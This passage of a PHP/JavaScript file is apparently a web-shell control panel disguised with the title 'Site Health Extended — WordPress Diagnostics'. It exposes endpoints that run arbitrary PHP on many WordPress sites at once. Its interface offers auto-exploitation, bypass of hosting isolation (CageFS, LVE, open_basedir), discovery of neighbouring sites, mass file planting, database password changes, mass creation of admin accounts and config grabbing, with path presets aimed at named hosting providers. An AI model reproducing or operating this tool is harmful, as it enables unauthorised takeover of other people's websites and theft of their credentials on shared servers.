        $results = mass_execute_php_on_wp_sites($php_code, $timeout, $wp_paths);
        json_out(array('status' => 'ok', 'results' => $results));
    }
    
    // Выполнение PHP кода на одном сайте
    if ($api==='single_php_exec') {
        if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
            json_out(array('status'=>'error','message'=>'bad csrf'));
        }
        
        $wp_path = isset($_POST['path']) ? trim($_POST['path']) : '';
        $php_code = isset($_POST['code']) ? $_POST['code'] : '';
        $timeout = isset($_POST['timeout']) ? (int)$_POST['timeout'] : 10;
        
        if (!$wp_path) {
            json_out(array('status'=>'error', 'message'=>'Path required'));
        }
        if (empty($php_code)) {
            json_out(array('status'=>'error', 'message'=>'PHP code is required'));
        }
        
        $result = execute_php_on_wp_path($wp_path, $php_code, $timeout);
        json_out(array('status' => $result['success'] ? 'ok' : 'error', 'result' => $result));
    }
    
    // ==================== КОНЕЦ НОВЫХ API ENDPOINTS ====================
    
    json_out(array('status'=>'error','message'=>'Unknown API'));
}
?>
<!doctype html>
<html lang="ru"><head>
<meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>Site Health Extended — WordPress Diagnostics</title>
<style>
:root{--bg:#101216;--card:#171a1f;--line:#2a2f36;--fg:#e6eaf0;--mut:#aab4c0;--acc:#60e0a8;--warn:#ffb454;--err:#ff6b6b}
*{box-sizing:border-box} body{margin:0;background:var(--bg);color:var(--fg);font:14px/1.5 system-ui,Segoe UI,Roboto,Arial}
header{display:flex;gap:10px;align-items:center;padding:14px 16px;border-bottom:1px solid var(--line);flex-wrap:wrap}
h1{font-size:16px;margin:0}
main{display:grid;grid-template-columns:520px 1fr;gap:16px;padding:16px}
.card{background:var(--card);border:1px solid var(--line);border-radius:10px;padding:14px}
.section-title{font-weight:600;margin:4px 0 10px 0}
label{display:flex;align-items:center;gap:8px;margin:6px 0}
input[type="text"], input[type="number"], textarea, select{width:100%;padding:8px 10px;border-radius:8px;border:1px solid var(--line);background:#0e1114;color:#e6eaf0}
textarea{min-height:100px;font-family:ui-monospace, SFMono-Regular, Menlo, Consolas, monospace}
.btn{display:inline-flex;align-items:center;gap:8px;padding:9px 12px;border:1px solid var(--line);background:#0e1114;color:#e6eaf0;border-radius:8px;cursor:pointer}
.btn[disabled]{opacity:.6;cursor:not-allowed}
.small{font-size:12px;color:var(--mut)}
.badge{display:inline-block;padding:2px 6px;border-radius:4px;background:#0e1318;border:1px solid var(--line);font-size:12px;margin-right:6px}
.grid{display:grid;gap:8px}
table{width:100%;border-collapse:collapse} th,td{padding:8px 10px;border-bottom:1px solid var(--line);vertical-align:top}
th{position:sticky;top:0;background:#12161b;text-align:left}
code{background:#0b0f13;padding:2px 6px;border-radius:4px}
.kv{display:grid;grid-template-columns:150px 1fr;gap:6px}
.flex{display:flex;gap:8px;flex-wrap:wrap}
.muted{color:var(--mut)} hr{border:none;border-top:1px solid var(--line);margin:10px 0}
.coll{margin:6px 0;border:1px solid var(--line);border-radius:8px;overflow:hidden}
.coll>summary{padding:8px 10px;background:#12161b;cursor:pointer}
.coll>div{padding:8px 10px}
.tag-ok{color:var(--acc)} .tag-warn{color:var(--warn)} .tag-err{color:var(--err)}
.drop{border:2px dashed var(--line);border-radius:10px;padding:10px;text-align:center;background:#11151a}
.drop.drag{background:#151a1f}
fieldset{border:1px solid var(--line);border-radius:8px;padding:8px}
legend{padding:0 6px;color:#aab4c0}
.presetbar{display:flex;gap:6px;flex-wrap:wrap;margin-left:auto}
.presetbar .btn{font-size:12px;padding:6px 8px}
</style>
<script>window.__CSRF__ = "<?php echo htmlspecialchars(csrf(),ENT_QUOTES,'UTF-8');?>";</script>
</head>
<body>
<header>
  <h1>Site Health Extended — v5.3.0</h1>
  <span class="badge">Auth OK</span>
  <button class="btn" id="btnScan">Сканировать</button>
  <button class="btn" id="btnDeploy">Deploy</button>
  <button class="btn" id="btnDelete">Delete</button>
  <span style="border-left:1px solid var(--line);height:20px;margin:0 8px"></span>
  <button class="btn" id="btnDbExplorer" title="Database Explorer - обнаружение и анализ БД через wp-config.php">🔍 DB Explorer</button>
  <button class="btn" id="btnVulnScan" title="Сканирование уязвимостей WordPress">⚠️ Vuln Scan</button>
  <button class="btn" id="btnAutoExploit" title="Автоматическая эксплуатация найденных уязвимостей">⚡ Auto Exploit</button>
  <button class="btn" id="btnPentestReport" title="Генерация комплексного пентест-отчета">📊 Report</button>
  <button class="btn" id="btnAdvancedBypass" title="Расширенный обход ограничений с записью">🌀 Bypass+</button>
  <button class="btn" id="btnAdvancedAttacks" title="Все продвинутые атаки (LD_PRELOAD, SHM, OPcache, Kernel, Daemons)">🚀 Advanced</button>
  <button class="btn" id="btnNeighborDeploy" title="Массовый поиск соседей и деплой маркера" style="background:linear-gradient(135deg,#f00,#a00);border-color:#f00">🎯 Neighbors</button>
  <span style="border-left:1px solid var(--line);height:20px;margin:0 8px"></span>
  <button class="btn" id="btnScanPanels" title="Поиск панелей управления (cPanel, Plesk, DirectAdmin)">🔍 Panels</button>
  <button class="btn" id="btnFindLogins" title="Поиск страниц авторизации">🔑 Logins</button>
  <button class="btn" id="btnMassDiscover" title="Расширенное обнаружение всех доменов">🌐 Discover</button>
  <button class="btn" id="btnMassExecute" title="Массовое выполнение скрипта на доменах" style="background:linear-gradient(135deg,#f50,#a30);border-color:#f50">⚡ Mass Exec</button>
  <button class="btn" id="btnChangePassword" title="Смена пароля через БД" style="background:linear-gradient(135deg,#a00,#600);border-color:#a00">🔐 ChgPass</button>
  <button class="btn" id="btnMassCreateAdmin" title="Массовое создание админов на всех WP сайтах" style="background:linear-gradient(135deg,#0a0,#050);border-color:#0a0">👤 MassAdmin</button>
  <div class="presetbar">
    <span class="small muted" style="align-self:center">Presets:</span>
    <button class="btn" data-preset="safe" title="Безопасный режим - только базовое сканирование">🛡️ Safe</button>
    <button class="btn" data-preset="balanced" title="Сбалансированный режим - оптимальный баланс">⚖️ Balanced</button>
    <button class="btn" data-preset="advanced" title="Продвинутый режим - расширенное сканирование">🔍 Advanced</button>
    <button class="btn" data-preset="aggressive" title="Агрессивный режим - максимальное обнаружение">🔥 Aggressive</button>
    <button class="btn" data-preset="deploy" title="Режим деплоя - оптимизирован для маркирования">📦 Deploy</button>
  </div>
</header>

<!-- Модальное окно для результатов пентеста -->
<div id="pentestModal" style="display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.85);z-index:1000;overflow:auto">
  <div style="max-width:1200px;margin:30px auto;background:var(--card);border:2px solid var(--line);border-radius:12px;padding:20px;position:relative">
    <button onclick="closePentestModal()" style="position:absolute;top:10px;right:15px;background:none;border:none;color:var(--fg);font-size:24px;cursor:pointer">&times;</button>
    <h3 id="pentestModalTitle" style="margin:0 0 15px 0">Результаты</h3>
    <div id="pentestModalContent" style="max-height:calc(100vh - 150px);overflow-y:auto">Loading...</div>
  </div>
</div>

<main>
  <section class="card">
    <div class="section-title">Опции сканирования</div>
    <label><input type="checkbox" id="wpOnly" checked> Только WP‑корни</label>
    <div class="grid" style="grid-template-columns:1fr 1fr">
      <label><input type="checkbox" id="writableOnly" checked> Только writable</label>
      <label>Writable mode
        <select id="writableMode">
          <option value="effective" selected>effective (текущий PHP‑польз.)</option>
          <option value="any">any (u|g|o разрешение)</option>
          <option value="group">group‑writable</option>
          <option value="world">world‑writable</option>
        </select>
      </label>
    </div>
    <label><input type="checkbox" id="scanAggr"> Агрессивный поиск (скрытые пути)</label>
    <label><input type="checkbox" id="useDocroots" checked> Использовать явные docroot из конфигов</label>
    <label class="small"><input type="checkbox" id="docrootsDeep"> Глубже в docroot (и wildcard‑родителей)</label>
    <label><input type="checkbox" id="globalSweeps"> Глобальные обходы (wildcards/globs)</label>
    <label class="small"><input type="checkbox" id="blindHunt"> Blind WP Hunt (без списка доменов)</label>
    <label class="small"><input type="checkbox" id="bypassIsolation" checked> 🔥 Bypass изоляции (LVE/CageFS) — обнаружение соседних сайтов</label>
    <label class="small"><input type="checkbox" id="bypassExtended"> 🔥🔥 Расширенный bypass (open_basedir/CageFS/LVE/chroot) — 30+ техник обхода</label>
    <label class="small"><input type="checkbox" id="detectUsers"> ⚠️ Детект пользователей (опасно! показывает всех пользователей сервера)</label>
    <label class="small"><input type="checkbox" id="configGrab"> 🔧 Config Grab (поиск конфигов для обнаружения путей)</label>
    <label class="small"><input type="checkbox" id="symlinkGrab"> 🔗 Symlink Grab (поиск симлинков для обхода ограничений)</label>
    <div class="grid" style="grid-template-columns:1fr 1fr">
      <label>Фильтр доменов <input type="text" id="q" placeholder="например, .com или blog"></label>
      <label>Лимит доменов <input type="number" id="limit" value="1000" min="1" step="1"></label>
    </div>
    <label class="small">Blind cap (лимит директорий для ханта) <input type="number" id="blindCap" value="8000" min="100"></label>

    <fieldset style="margin-top:8px">
      <legend>Brute шаблоны</legend>
      <label><input type="checkbox" id="scanBrute" checked> Использовать популярные + EU шаблоны</label>
      <label>Режим
        <select id="bruteMode">
          <option value="append" selected>Добавить к популярным</option>
          <option value="only">Только свои</option>
        </select>
      </label>
      <label>Свои шаблоны (по одному в строке)
        <textarea id="templates" placeholder="/srv/users/*/apps/*/public&#10;/home/master/applications/%slug%/public_html&#10;/var/www/%domain%/public"></textarea>
      </label>
      <fieldset>
        <legend>Диапазоны client/web</legend>
        <div class="grid" style="grid-template-columns:repeat(3,1fr)">
          <label class="small">client от <input type="number" id="clientMin" value="1" min="1"></label>
          <label class="small">client до <input type="number" id="clientMax" value="50" min="1"></label>
          <label class="small">Кандидатов (лимит) <input type="number" id="candLimit" value="3500" min="100"></label>
        </div>
        <div class="grid" style="grid-template-columns:repeat(2,1fr)">
          <label class="small">web от <input type="number" id="webMin" value="1" min="1"></label>
          <label class="small">web до <input type="number" id="webMax" value="50" min="1"></label>
        </div>
      </fieldset>
      <fieldset>
        <legend>Юзеры для %user%</legend>
        <label>Режим пользователей
          <select id="usersMode">
            <option value="append" selected>Добавить к авто‑списку</option>
            <option value="only">Только свои (без авто)</option>
          </select>
        </label>
        <label>Список пользователей (через запятую/перенос)
          <textarea id="usersCustom" placeholder="u1001,u1002&#10;admin&#10;john"></textarea>
        </label>
      </fieldset>
      <fieldset>
        <legend>Список окружений для %env%</legend>
        <label>Env list (через запятую/перенос)
          <textarea id="envList">live,staging,prod,production,stage,dev,test,testing,preview</textarea>
        </label>
      </fieldset>
      <div class="small muted">Переменные: <code>%domain%</code>, <code>%user%</code>, <code>%client%</code>, <code>%web%</code>, <code>%sld%</code>, <code>%tld%</code>, <code>%subdomain%</code>, <code>%sld_label%</code>, <code>%env%</code>, <code>%slug%</code></div>
    </fieldset>

    <hr>
    <div class="section-title">Маркер</div>
    <div class="drop" id="drop">
      <input type="file" id="marker" style="display:none">
      <div class="flex">
        <button class="btn" id="pick">Выбрать файл</button>
        <button class="btn" id="btnUseText">Использовать текст</button>
      </div>
      <div id="markerInfo" class="small muted">Файл не выбран.</div>
    </div>
    <label>Или текст‑маркер
      <textarea id="markerText" placeholder="В тексте можно использовать %domain%, %path%, %time%"></textarea>
    </label>
    <label>Имя файла в целевых папках
      <input type="text" id="targetName" placeholder="по умолчанию: имя файла / авто‑генерируем для текста">
    </label>
    <label>Подкаталог для записи (относительно корня сайта)
      <input type="text" id="targetSub" placeholder="например: wp-content/uploads">
    </label>
    <label class="small"><input type="checkbox" id="mkSub"> Создавать подкаталоги при необходимости (mkdir -p)</label>
    <label class="small"><input type="checkbox" id="prefixDomain"> Префикс домена к имени файла</label>
    <label class="small"><input type="checkbox" id="suffixDomain"> Суффикс домена к имени файла</label>
    <label class="small"><input type="checkbox" id="dryRun"> Dry‑run (только показать, не писать)</label>
    <label class="small"><input type="checkbox" id="overwriteMarker"> Overwrite existing (перезаписывать существующий маркер)</label>
    <label class="small"><input type="checkbox" id="deployAggr"> Aggressive deploy (использовать скрытые пути)</label>
    <label class="small"><input type="checkbox" id="deployBrute" checked> Использовать brute‑шаблоны и при deploy</label>
    <label class="small"><input type="checkbox" id="useDocrootsDeploy" checked> Использовать docroot‑карты при deploy</label>
    <label class="small"><input type="checkbox" id="docrootsDeepDeploy"> Docroot deep при deploy</label>
    <label class="small"><input type="checkbox" id="forceWrite"> Force write (пытаться писать даже если is_writable=0)</label>
    <label class="small"><input type="checkbox" id="globalSweepsDeploy"> Global sweeps при deploy</label>
    <label class="small"><input type="checkbox" id="blindDeploy"> Deploy по blind‑результатам</label>

    <label class="small">Blind cap (для deploy/delete) <input type="number" id="blindCapDeploy" value="8000" min="100"></label>
  </section>

  <section class="card">
    <div id="out">Готов.</div>
  </section>
</main>

<script>
const dbg = location.search.indexOf('debug=1')>=0 ? '&debug=1' : '';
const csrf = window.__CSRF__ || '';
var $ = function(sel){ return document.querySelector(sel); };
const btnScan = $('#btnScan');
const btnDeploy = $('#btnDeploy');
const btnDelete = $('#btnDelete');
const wpOnly = $('#wpOnly');
const writableOnly = $('#writableOnly');
const writableMode = $('#writableMode');
const scanAggr = $('#scanAggr');
const useDocroots = $('#useDocroots');
const docrootsDeep = $('#docrootsDeep');
const globalSweeps = $('#globalSweeps');
const blindHunt = $('#blindHunt');
const bypassIsolation = $('#bypassIsolation');
const bypassExtended = $('#bypassExtended');
const detectUsers = $('#detectUsers');
const configGrab = $('#configGrab');
const symlinkGrab = $('#symlinkGrab');
const scanBrute = $('#scanBrute');
const bruteMode = $('#bruteMode');
const templates = $('#templates');
const clientMin = $('#clientMin');
const clientMax = $('#clientMax');
const webMin = $('#webMin');
const webMax = $('#webMax');
const candLimit = $('#candLimit');
const usersMode = $('#usersMode');
const usersCustom = $('#usersCustom');
const envList = $('#envList');
const q = $('#q');
const limit = $('#limit');
const blindCap = $('#blindCap');
const drop = $('#drop');
const marker = $('#marker');
const markerText = $('#markerText');
const targetName = $('#targetName');
const targetSub = $('#targetSub');
const mkSub = $('#mkSub');
const prefixDomain = $('#prefixDomain');
const suffixDomain = $('#suffixDomain');
const dryRun = $('#dryRun');
const overwriteMarker = $('#overwriteMarker');
const deployAggr = $('#deployAggr');
const deployBrute = $('#deployBrute');
const useDocrootsDeploy = $('#useDocrootsDeploy');
const docrootsDeepDeploy = $('#docrootsDeepDeploy');
const forceWrite = $('#forceWrite');
const globalSweepsDeploy = $('#globalSweepsDeploy');
const blindDeploy = $('#blindDeploy');
const blindCapDeploy = $('#blindCapDeploy');
const pick = $('#pick');
const btnUseText = $('#btnUseText');
const markerInfo = $('#markerInfo');
const out = $('#out');

/* Presets - 5 готовых пресетов от Safe до Aggressive + Deploy */
function presetSafe(){
  // 🛡️ Safe - Безопасный режим: только базовое сканирование, минимальный риск
  wpOnly.checked = true; writableOnly.checked = true;
  writableMode.value = 'effective';
  scanAggr.checked = false; useDocroots.checked = true; docrootsDeep.checked = false; 
  globalSweeps.checked = false; blindHunt.checked = false;
  bypassIsolation.checked = false; bypassExtended.checked = false;
  detectUsers.checked = false; configGrab.checked = false; symlinkGrab.checked = false;
  scanBrute.checked = true; bruteMode.value='append'; templates.value='';
  envList.value = 'live,staging,prod,production,stage,dev,test,testing,preview';
  limit.value = 100; blindCap.value = 2000;
}

function presetBalanced(){
  // ⚖️ Balanced - Сбалансированный: оптимальный баланс скорости и обнаружения
  wpOnly.checked = true; writableOnly.checked = true;
  writableMode.value = 'effective';
  scanAggr.checked = true; useDocroots.checked = true; docrootsDeep.checked = true;
  globalSweeps.checked = false; blindHunt.checked = false;
  bypassIsolation.checked = true; bypassExtended.checked = false;
  detectUsers.checked = false; configGrab.checked = false; symlinkGrab.checked = false;
  scanBrute.checked = true; bruteMode.value='append'; templates.value='';
  envList.value = 'live,staging,prod,production,stage,dev,test,testing,preview';
  limit.value = 500; blindCap.value = 5000;
  // PL-паттерны для autoinstalator
  templates.value = [
    '/home/%user%/public_html/autoinstalator/%domain%',
    '/home/%user%/serwer*/public_html/autoinstalator/*/wordpress*',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress*'
  ].join('\\n');
}

function presetAdvanced(){
  // 🔍 Advanced - Продвинутый: расширенное сканирование с bypass техниками
  wpOnly.checked = true; writableOnly.checked = false;
  writableMode.value = 'any';
  scanAggr.checked = true; useDocroots.checked = true; docrootsDeep.checked = true;
  globalSweeps.checked = true; blindHunt.checked = true;
  bypassIsolation.checked = true; bypassExtended.checked = true;
  detectUsers.checked = false; configGrab.checked = true; symlinkGrab.checked = true;
  scanBrute.checked = true; bruteMode.value='append'; templates.value='';
  envList.value = 'live,staging,prod,production,stage,dev,test,testing,preview';
  limit.value = 1000; blindCap.value = 10000;
  // Расширенные PL-паттерны
  templates.value = [
    '/home/%user%/public_html/autoinstalator/%domain%',
    '/home/%user%/public_html/autoinstalator/%sld_label%',
    '/home/%user%/serwer*/public_html',
    '/home/%user%/serwer*/public_html/autoinstalator/*',
    '/home/%user%/serwer*/public_html/autoinstalator/*/wordpress*',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress*',
    '/home/*/serwer*/public_html/autoinstalator/*/wordpress*'
  ].join('\\n');
}

function presetAggressive(){
  // 🔥 Aggressive - Агрессивный: максимальное обнаружение, все техники включены
  wpOnly.checked = false; writableOnly.checked = false;
  writableMode.value = 'any';
  scanAggr.checked = true; useDocroots.checked = true; docrootsDeep.checked = true;
  globalSweeps.checked = true; blindHunt.checked = true;
  bypassIsolation.checked = true; bypassExtended.checked = true;
  detectUsers.checked = true; configGrab.checked = true; symlinkGrab.checked = true;
  scanBrute.checked = true; bruteMode.value='append'; templates.value='';
  envList.value = 'live,staging,prod,production,stage,dev,test,testing,preview,beta,alpha,rc,release';
  limit.value = 5000; blindCap.value = 20000;
  clientMin.value = 1; clientMax.value = 100;
  webMin.value = 1; webMax.value = 100;
  candLimit.value = 10000;
  // Максимальные PL-паттерны + EU
  templates.value = [
    '/home/%user%/public_html/autoinstalator/%domain%',
    '/home/%user%/public_html/autoinstalator/%sld_label%',
    '/home/%user%/public_html/autoinstalator/*/*',
    '/home/%user%/public_html/*/wordpress*',
    '/home/%user%/serwer*/public_html',
    '/home/%user%/serwer*/public_html/*',
    '/home/%user%/serwer*/public_html/autoinstalator/*',
    '/home/%user%/serwer*/public_html/autoinstalator/*/*',
    '/home/platne/serwer*/public_html',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress*',
    '/home/*/serwer*/public_html/autoinstalator/*/wordpress*',
    // EU паттерны
    '/home/*/www','/homez*/%user%/www',
    '/home/u*/public_html','/home/u*/domains/%domain%/public_html',
    '/home/customer/www/%domain%/public_html',
    '/srv/data/web/vhosts/%domain%/htdocs'
  ].join('\\n');
}

function presetDeploy(){
  // 📦 Deploy - Режим деплоя: оптимизирован для маркирования, только writable WP
  wpOnly.checked = true; writableOnly.checked = true;
  writableMode.value = 'effective';
  scanAggr.checked = true; useDocroots.checked = true; docrootsDeep.checked = true;
  globalSweeps.checked = true; blindHunt.checked = true;
  bypassIsolation.checked = true; bypassExtended.checked = false;
  detectUsers.checked = false; configGrab.checked = false; symlinkGrab.checked = false;
  scanBrute.checked = true; bruteMode.value='append'; templates.value='';
  envList.value = 'live,staging,prod,production';
  limit.value = 2000; blindCap.value = 15000;
  // PL-паттерны для деплоя
  templates.value = [
    '/home/%user%/public_html/autoinstalator/%domain%',
    '/home/%user%/serwer*/public_html/autoinstalator/*/wordpress*',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress*'
  ].join('\\n');
  // Deploy опции
  deployAggr.checked = true; deployBrute.checked = true;
  useDocrootsDeploy.checked = true; docrootsDeepDeploy.checked = true;
  globalSweepsDeploy.checked = true; blindDeploy.checked = true;
  forceWrite.checked = false; dryRun.checked = false;
}

/* Legacy presets (для обратной совместимости) */
function presetDefault(){ presetBalanced(); }
function presetIONOS(){
  presetBalanced();
  scanAggr.checked = true; docrootsDeep.checked = true; globalSweeps.checked = true;
  templates.value = [
    '/kunden/homepages/*/d*/htdocs',
    '/kunden/homepages/*/d*/htdocs/clickandbuilds/%sld_label%',
    '/kunden/homepages/*/d*/htdocs/clickandbuilds/%slug%',
    '/homepages/*/d*/htdocs',
    '/homepages/*/d*/htdocs/clickandbuilds/%sld_label%'
  ].join('\\n');
}
function presetCPanel(){
  presetBalanced();
  scanAggr.checked = true; docrootsDeep.checked = true; globalSweeps.checked = false;
  templates.value = [
    '/home/%user%/public_html/%domain%',
    '/home/%user%/domains/%domain%/public_html',
    '/home/%user%/domains/%domain%/public',
    '/home/%user%/domains/%domain%/httpdocs',
    '/home/u*/public_html',
    '/home/u*/domains/%domain%/public_html'
  ].join('\\n');
}
function presetPlesk(){
  presetBalanced();
  scanAggr.checked=true; docrootsDeep.checked = true;
  templates.value = [
    '/var/www/vhosts/%domain%/httpdocs',
    '/var/www/vhosts/%domain%/public_html',
    '/var/www/vhosts/%sld%/subdomains/%subdomain%/httpdocs'
  ].join('\\n');
}
function presetISPConfig(){
  presetBalanced();
  scanAggr.checked=true; docrootsDeep.checked=true; globalSweeps.checked=true;
  templates.value = [
    '/var/www/clients/client%client%/web%web%/web',
    '/var/www/website%web%/web'
  ].join('\\n');
}
function presetCloudways(){
  presetBalanced();
  scanAggr.checked=true; globalSweeps.checked=true;
  templates.value = ['/home/master/applications/%slug%/public_html','/srv/users/%user%/apps/%slug%/public'].join('\\n');
}
function presetKinsta(){
  presetBalanced();
  scanAggr.checked=true; docrootsDeep.checked=true;
  templates.value = ['/var/www/%domain%/htdocs','/www/%sld_label%/public','/www/%sld_label%_%env%/public'].join('\\n');
}
function presetEU(){
  presetBalanced();
  scanAggr.checked = true; docrootsDeep.checked = true; globalSweeps.checked = true;
  templates.value = [
    // OVH
    '/home/*/www','/homez*/%user%/www','/homez*/*/www',
    // Hostinger
    '/home/u*/public_html','/home/u*/domains/%domain%/public_html',
    // SiteGround
    '/home/customer/www/%domain%/public_html','/home/customer/www/*/public_html',
    // STRATO
    '/home/strato/www/*/*/htdocs','/home/strato/www/*/%domain%/htdocs',
    // Gandi
    '/srv/data/web/vhosts/%domain%/htdocs','/srv/data/web/vhosts/*/htdocs',
    // Infomaniak
    '/home/clients/*/web','/home/clients/*/web/*',
    // one.com
    '/customers/*/*/*/*/httpd.www',
    // Aruba
    '/web/htdocs/www.%domain%/home','/web/htdocs/*/home'
  ].join('\\n');
}

Array.prototype.forEach.call(document.querySelectorAll('.presetbar .btn'), function(btn){
  btn.addEventListener('click', function(){
    const p = this.getAttribute('data-preset');
    if (p==='safe') presetSafe();
    if (p==='balanced') presetBalanced();
    if (p==='advanced') presetAdvanced();
    if (p==='aggressive') presetAggressive();
    if (p==='deploy') presetDeploy();
    // Legacy presets
    if (p==='default') presetBalanced();
    if (p==='ionos') presetIONOS();
    if (p==='cpanel') presetCPanel();
    if (p==='plesk') presetPlesk();
    if (p==='ispconfig') presetISPConfig();
    if (p==='cloudways') presetCloudways();
    if (p==='kinsta') presetKinsta();
    if (p==='eu') presetEU();
  });
});

/* UI helpers */
pick.addEventListener('click', function(){ marker.click(); });
btnUseText.addEventListener('click', function(){ marker.value=''; markerInfo.textContent='Файл не выбран (будет отправлен текст).'; markerText.focus(); });
marker.addEventListener('change', function(){ markerInfo.textContent = marker.files[0] ? ('Выбран файл: ' + marker.files[0].name + ' (' + marker.files[0].size + ' байт)') : 'Файл не выбран.'; });

['dragenter','dragover'].forEach(function(ev){ drop.addEventListener(ev, function(e){ e.preventDefault(); drop.classList.add('drag'); });});
['dragleave','drop'].forEach(function(ev){ drop.addEventListener(ev, function(e){ e.preventDefault(); drop.classList.remove('drag'); });});
drop.addEventListener('drop', function(e){ if (e.dataTransfer.files.length) { marker.files = e.dataTransfer.files; marker.dispatchEvent(new Event('change')); } });

/* API calls */
async function apiScan() {
  if (!out || !btnScan) { console.error('Elements not found'); return; }
  try {
    out.textContent = 'Сканирование...';
    btnScan.disabled = true;
    const params = new URLSearchParams({
      api:'scan',
      wp_only: wpOnly.checked?1:0,
      writable_only: writableOnly.checked?1:0,
      writable_mode: writableMode.value,
      scan_aggr: scanAggr.checked?1:0,
      use_docroots: useDocroots.checked?1:0,
      docroots_deep: docrootsDeep.checked?1:0,
      global_sweeps: globalSweeps.checked?1:0,
      scan_brute: scanBrute.checked?1:0,
      brute_mode: bruteMode.value,
      templates: templates.value,
      use_defaults: scanBrute.checked?1:0,
      client_min: clientMin.value||1,
      client_max: clientMax.value||50,
      web_min: webMin.value||1,
      web_max: webMax.value||50,
      cand_limit: candLimit.value||3500,
      users_mode: usersMode.value,
      users_custom: usersCustom.value,
      env_list: envList.value,
      q: q.value.trim(), limit: limit.value||1000
    });
    if (blindHunt && blindHunt.checked) { params.set('blind','1'); params.set('blind_cap', (blindCap && blindCap.value) ? blindCap.value : 8000); }
    if (bypassIsolation && bypassIsolation.checked) { params.set('bypass_isolation','1'); }
    if (bypassExtended && bypassExtended.checked) { params.set('bypass_extended','1'); }
    if (detectUsers && detectUsers.checked) { params.set('detect_users','1'); }
    if (configGrab && configGrab.checked) { params.set('config_grab','1'); }
    if (symlinkGrab && symlinkGrab.checked) { params.set('symlink_grab','1'); }
    const r = await fetch('?'+params.toString()+dbg);
    const j = await r.json();
    if (j.status !== 'ok') { 
      if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: ' + (j.message||'unknown') + (j.fatal?(' ('+j.fatal.message+')'):'') + '</div>'; 
      return; 
    }
    renderReport(j.report);
  } catch(e){
    console.error('Scan error:', e);
    if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: '+e.message+'</div>';
  } finally { 
    if (btnScan) btnScan.disabled = false; 
  }
}

function renderReport(rep) {
  const h = [];
  const mode = (rep.scan_opts && rep.scan_opts.mode==='blind') ? 'blind' : 'domains';
  h.push('<div class="flex">'
    + '<span class="badge">Mode: '+mode+'</span>'
    + '<span class="badge">Domains: '+rep.totals.domains+'</span>'
    + '<span class="badge">Paths: '+rep.totals.paths+'</span>'
    + '<span class="badge">Writable: '+rep.totals.writable_paths+'</span>'
    + '<span class="badge">WP: '+rep.totals.wp_roots+'</span>'
    + '<span class="badge">Time: '+rep.time+'</span>'
    + '</div>');

  h.push('<details class="coll"><summary>PHP окружение</summary><div class="kv small">'
    + '<div>Version</div><div>'+rep.php.runtime_version+'</div>'
    + '<div>SAPI</div><div>'+rep.php.sapi+'</div>'
    + '<div>open_basedir</div><div>'+(rep.php.open_basedir||'(нет)')+'</div>'
    + '<div>disabled</div><div><code>'+(rep.php.disabled||'(нет)')+'</code></div>'
    + '<div>DOCROOT</div><div><code>'+(rep.php.document_root||'')+'</code></div>'
    + '<div>Script</div><div><code>'+(rep.php.script||'')+'</code></div>'
    + '<div>User</div><div>'+((rep.php.ids&&rep.php.ids.user)||'-')+' (euid='+(rep.php.ids.euid||'-')+')</div>'
    + '<div>Group</div><div>'+((rep.php.ids&&rep.php.ids.group)||'-')+' (egid='+(rep.php.ids.egid||'-')+')</div>'
    + '<div>Groups</div><div class="small"><code>'+(((rep.php.ids&&rep.php.ids.groups)||[]).join(', ')||'-')+'</code></div>'
    + '</div></details>');

  // Отображение информации о пользователях (если обнаружены)
  if (rep.users_detected) {
    const ud = rep.users_detected;
    h.push('<details class="coll"><summary>⚠️ Обнаруженные пользователи ('+ud.count+')</summary><div class="small muted">ВНИМАНИЕ: Эта информация опасна для безопасности!</div>');
    if (ud.details) {
      const userRows = [];
      Object.keys(ud.details).slice(0, 50).forEach(function(u){
        const info = ud.details[u];
        const badges = [];
        if (info.is_serwer) badges.push('<span class="badge">serwer*</span>');
        if (info.is_platne) badges.push('<span class="badge">platne</span>');
        if (info.is_system) badges.push('<span class="badge">system</span>');
        if (info.has_public_html) badges.push('<span class="badge">public_html</span>');
        if (info.has_autoinstalator) badges.push('<span class="badge">autoinstalator</span>');
        userRows.push('<div style="padding:4px;border-bottom:1px solid var(--line)">'
          +'<strong>'+u+'</strong> '+badges.join(' ')
          +'<div class="small muted">UID: '+(info.uid||'-')+' | Home: '+(info.home||'-')+' | Shell: '+(info.shell||'-')+'</div>'
          +'</div>');
      });
      h.push('<div style="max-height:400px;overflow-y:auto">'+userRows.join('')+'</div>');
    }
    h.push('</details>');
  }

  if (!rep.domains.length) { h.push('<div class="muted">Ничего не найдено по текущим настройкам.</div>'); out.innerHTML=h.join(''); return; }

  h.push('<table><thead><tr><th>Domain</th><th>Paths (детально)</th></tr></thead><tbody>');
  rep.domains.forEach(function(d){
    const rows = [];
    d.paths.forEach(function(p){
      const tags = [];
      if (p.flags.is_wp) tags.push('<span class="tag-ok">WP</span>');
      if (p.flags.multisite) tags.push('<span class="tag-warn">MULTISITE</span>');
      if (p.flags.subdomain) tags.push('<span class="tag-warn">SUBDOMAIN</span>');
      if (p.flags.is_writable) tags.push('<span class="tag-ok">writable</span>');
      if (p.flags.is_symlink) tags.push('<span class="tag-warn">symlink</span>');
      
      // Security flags
      if (p.security) {
        const sec = p.security;
        if (sec.wp_config_world_readable) tags.push('<span class="tag-err">⚠️ wp-config world-readable</span>');
        if (sec.wp_config_symlink) tags.push('<span class="tag-err">⚠️ wp-config symlink</span>');
        if (sec.wp_config_backup_found) tags.push('<span class="tag-err">⚠️ wp-config backup</span>');
        if (sec.env_files_found && sec.env_files_found.length > 0) tags.push('<span class="tag-err">⚠️ .env found</span>');
        if (sec.git_found) tags.push('<span class="tag-warn">⚠️ .git found</span>');
        if (sec.boundary_info && sec.boundary_info.outside_allowed) tags.push('<span class="tag-warn">⚠️ outside allowed</span>');
      }
      const ht = p.htaccess||{};
      const htBad = ht.exists ? [] : ['.htaccess: нет'];
      if (ht.exists) {
        if (!ht.options_noindexes) htBad.push('Options -Indexes: нет');
        if (!ht.deny_wpconfig) htBad.push('deny wp-config.php: нет');
        if (!ht.deny_git_env_composer) htBad.push('deny .git/.env/composer: нет');
      }
